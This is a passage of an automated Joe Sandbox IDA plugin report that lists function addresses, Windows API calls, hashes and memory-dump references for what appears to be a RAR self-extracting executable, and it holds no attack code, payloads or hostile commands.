Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: f03dc89f88be6151b307e9a70c0b15180eb1a7f18f469c7f31c94ad493d61749
Instruction ID: 1941cfb792a2b4ce7c5e81fae76d75f828cf92ca2d1ed4ac41712604acb2f212
Opcode Fuzzy Hash: f03dc89f88be6151b307e9a70c0b15180eb1a7f18f469c7f31c94ad493d61749
Instruction Fuzzy Hash: 53D09E31144300BAE6012B51CD0AF0B7AA2BB88F04F004654B385740B28AB69D31DB16

Uniqueness

Uniqueness Score: -1.00%

Function 0073E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 0073E5E3

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: c317852db3e452386e53cd1a54a1360222494555db38c61e9a257c3e2b84f155
Instruction ID: 245113295c581b73dc06970424cd07be52a6b5d1f7ab3569a0de64d4a6fb21a4
Opcode Fuzzy Hash: c317852db3e452386e53cd1a54a1360222494555db38c61e9a257c3e2b84f155
Instruction Fuzzy Hash: 80D0C9B45C0280DBF601EBA9DC4A7943268B364B05FE08101F145924D3DBAC4492A729

Uniqueness

Uniqueness Score: -1.00%

Function 007298BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,007297BE), ref: 007298C8

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 46ec6e24fe145085017fa479697ca07427334201afc6053eeaea5d43913d0bad
Instruction ID: a7c36eec2fcb0cf396808d91f825bf3a3d05fdee9212f8bb55911e6f7209ed3d
Opcode Fuzzy Hash: 46ec6e24fe145085017fa479697ca07427334201afc6053eeaea5d43913d0bad
Instruction Fuzzy Hash: D7C01234400319868E248A34A8480997322AA537B6BBC8694C228890E1C32ACC87EB11

Uniqueness

Uniqueness Score: -1.00%

Function 0073E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9556336af04ebf5926a85dd8c9c4e282a72391715b553f8036bfd1fb3043bac0
Instruction ID: 0dd1916c392dde8c20eef9610e2328474ee46102469ef93c56c6005069f980e2
Opcode Fuzzy Hash: 9556336af04ebf5926a85dd8c9c4e282a72391715b553f8036bfd1fb3043bac0
Instruction Fuzzy Hash: 93B012E129D100FC3104A1081C06D77024DC0C0F11730D03FFC04E10C2D88C4D090533

Uniqueness

Uniqueness Score: -1.00%

Function 0073E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 447f96af7f49a2c7bf6232f64da9545bb88eed88187e3c6011962fcc82f46fd4
Instruction ID: 8c0149d7093b269c874a0468c17bdec41ede440116b6249c838c1869864627b2
Opcode Fuzzy Hash: 447f96af7f49a2c7bf6232f64da9545bb88eed88187e3c6011962fcc82f46fd4
Instruction Fuzzy Hash: CFB012F129D100FC3104A1081C06D77024DC0C0F15730903EFC04D10C2D88C4F050533

Uniqueness

Uniqueness Score: -1.00%

Function 0073E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2c9b7c4daedf7c3ce857f0a872ffe9a1189b3316f4c7875894da4be305f4885b
Instruction ID: d676017cb514d46781c14cceb52345243d8f9aea8618019e8bf7f8fc1272e336
Opcode Fuzzy Hash: 2c9b7c4daedf7c3ce857f0a872ffe9a1189b3316f4c7875894da4be305f4885b
Instruction Fuzzy Hash: E8B012E129D100FC310461081D06DB7024DC0C0F11730D03FF904E50C2D88C0D0E0533

Uniqueness

Uniqueness Score: -1.00%

Function 0073E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 59470f4a5b12aca5291889b6e8b0b133c8a3dc948fd62a782ba71cc2703834a3
Instruction ID: a26f6f8f0c7f9fc05cd758a056cf613eea9718dca0be05c69ebac4090bb49eb3
Opcode Fuzzy Hash: 59470f4a5b12aca5291889b6e8b0b133c8a3dc948fd62a782ba71cc2703834a3
Instruction Fuzzy Hash: 19A001E66AA252BD350962516D1ADBB025DC4C1B2AB30A52EF825A54C2AC88194A1872

Uniqueness

Uniqueness Score: -1.00%

Function 0073E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5e58842bd30a254c357fa976c0af53eebd4ce185181d9d39634e4aa156ecacf7
Instruction ID: 04ba4f1a2aebfc33eb6569d52e36ea8b99a1085413535c1c9ee9389a7379ee99
Opcode Fuzzy Hash: 5e58842bd30a254c357fa976c0af53eebd4ce185181d9d39634e4aa156ecacf7
Instruction Fuzzy Hash: B5A001E66AE252FC350962516D1ADBB025DC4C5B66B30A92EF816A54C2A888194A1872

Uniqueness

Uniqueness Score: -1.00%

Function 0073E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6f65ae3a57c5c9e4a6c05c73d7865f7fb5711b6c6f2a7e30f3e33934150ea7af
Instruction ID: 04ba4f1a2aebfc33eb6569d52e36ea8b99a1085413535c1c9ee9389a7379ee99
Opcode Fuzzy Hash: 6f65ae3a57c5c9e4a6c05c73d7865f7fb5711b6c6f2a7e30f3e33934150ea7af
Instruction Fuzzy Hash: B5A001E66AE252FC350962516D1ADBB025DC4C5B66B30A92EF816A54C2A888194A1872

Uniqueness

Uniqueness Score: -1.00%

Function 0073E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e7035b0119bc030508e03973b0d1c78cbc63c66913dc5ef214bbe68c489101d2
Instruction ID: 04ba4f1a2aebfc33eb6569d52e36ea8b99a1085413535c1c9ee9389a7379ee99
Opcode Fuzzy Hash: e7035b0119bc030508e03973b0d1c78cbc63c66913dc5ef214bbe68c489101d2
Instruction Fuzzy Hash: B5A001E66AE252FC350962516D1ADBB025DC4C5B66B30A92EF816A54C2A888194A1872

Uniqueness

Uniqueness Score: -1.00%

Function 0073E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c4c7fd054f964406d19e6916b6d529002463c77d1befbb67d27538f1569862ff
Instruction ID: 04ba4f1a2aebfc33eb6569d52e36ea8b99a1085413535c1c9ee9389a7379ee99
Opcode Fuzzy Hash: c4c7fd054f964406d19e6916b6d529002463c77d1befbb67d27538f1569862ff
Instruction Fuzzy Hash: B5A001E66AE252FC350962516D1ADBB025DC4C5B66B30A92EF816A54C2A888194A1872

Uniqueness

Uniqueness Score: -1.00%

Function 0073E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E3FC

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f853ce3abbf4eca95786ef6eca335f8244e3dea0fbebc008d51c64e301c74df4
Instruction ID: 04ba4f1a2aebfc33eb6569d52e36ea8b99a1085413535c1c9ee9389a7379ee99
Opcode Fuzzy Hash: f853ce3abbf4eca95786ef6eca335f8244e3dea0fbebc008d51c64e301c74df4
Instruction Fuzzy Hash: B5A001E66AE252FC350962516D1ADBB025DC4C5B66B30A92EF816A54C2A888194A1872

Uniqueness

Uniqueness Score: -1.00%

Function 0073AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0073AE72,C:\Users\user\AppData\Local\Temp\RarSFX1,00000000,0076946A,00000006), ref: 0073AC08

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: e71e01ae85825ea34f48c998cbd0a918e45418c53f481efde378114a51c589b8
Instruction ID: c89f6f938b2502366a7f1a09014f124e335746d3a76d5f912cf93ee1f6f16f43
Opcode Fuzzy Hash: e71e01ae85825ea34f48c998cbd0a918e45418c53f481efde378114a51c589b8
Instruction Fuzzy Hash: ABA012301006048782000B318F0554E76556F51741F00C024600080030C738C820A504

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0073C220 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00721316: GetDlgItem.USER32(00000000,00003021), ref: 0072135A
Part of subcall function 00721316: SetWindowTextW.USER32(00000000,007535F4), ref: 00721370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0073C2B1
EndDialog.USER32(?,00000006), ref: 0073C2C4
GetDlgItem.USER32(?,0000006C), ref: 0073C2E0
SetFocus.USER32(00000000), ref: 0073C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0073C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0073C358
FindFirstFileW.KERNEL32(?,?), ref: 0073C36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0073C38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0073C39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0073C3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0073C3D4
_swprintf.LIBCMT ref: 0073C404

Part of subcall function 00724092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 007240A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0073C417
FindClose.KERNEL32(00000000), ref: 0073C41E
_swprintf.LIBCMT ref: 0073C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 0073C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0073C4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0073C4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 0073C4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0073C4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0073C509
_swprintf.LIBCMT ref: 0073C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0073C548
_swprintf.LIBCMT ref: 0073C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0073C5AF

Part of subcall function 0073AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0073AF35
Part of subcall function 0073AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,0075E72C,?,?), ref: 0073AF84

Strings

Ps, xrefs: 0073C342
%s %s %s, xrefs: 0073C3F2, 0073C527
REPLACEFILEDLG, xrefs: 0073C247
%s %s, xrefs: 0073C469, 0073C58E

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$Ps$REPLACEFILEDLG
API String ID: 797121971-3735763087
Opcode ID: fae4b981ddb71fdc9934bbf391eac62bbe02812d42e397a0a49535d442d866b3
Instruction ID: 41af8123e138c39991a9e39684acf271988da33a1a71e735d3e27b5ac938812c
Opcode Fuzzy Hash: fae4b981ddb71fdc9934bbf391eac62bbe02812d42e397a0a49535d442d866b3
Instruction Fuzzy Hash: 3891C672548348BBE221DBB4DC4DFFB77ACEB49B01F048819F649D6081E779AA048762

Uniqueness

Uniqueness Score: -1.00%

Function 0073F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0073F844
IsDebuggerPresent.KERNEL32 ref: 0073F910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0073F930
UnhandledExceptionFilter.KERNEL32(?), ref: 0073F93A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5b2c012e3b2a345be0f080fc0c206869e8fcf8870a0aa7b1078fac3f990b0e9f
Instruction ID: 8b4d795f7de893f82f85794bf1835eb9a3f6497b868faec1255c92c1421c02c2
Opcode Fuzzy Hash: 5b2c012e3b2a345be0f080fc0c206869e8fcf8870a0aa7b1078fac3f990b0e9f
Instruction Fuzzy Hash: 3B312B75D0531DDBEB11DFA4D9897CCBBB8AF04344F1040AAE40CA7261EB759B848F44

Uniqueness

Uniqueness Score: -1.00%

Function 00721100 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0072112B
_wcslen.LIBCMT ref: 00721153
_wcslen.LIBCMT ref: 00721182
_wcslen.LIBCMT ref: 007211A9

Strings

Us, xrefs: 0072120D, 0072123B
zs, xrefs: 00721219
ps, xrefs: 00721205, 00721233

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcslen
String ID: Us$ps$zs
API String ID: 176396367-29227579
Opcode ID: 20a5a710893f9edbdbb007f8eb2b1a66ed014212277e46ea1890a5f1458b2d1e
Instruction ID: 7fa81c96801606b420cf1262a3342edcff88140508646429081132755a28d634
Opcode Fuzzy Hash: 20a5a710893f9edbdbb007f8eb2b1a66ed014212277e46ea1890a5f1458b2d1e
Instruction Fuzzy Hash: 3641C271A00669DBDB219F689C0A9EF7BB8EF00310F004029F946E7245DB38AE458BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00722210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

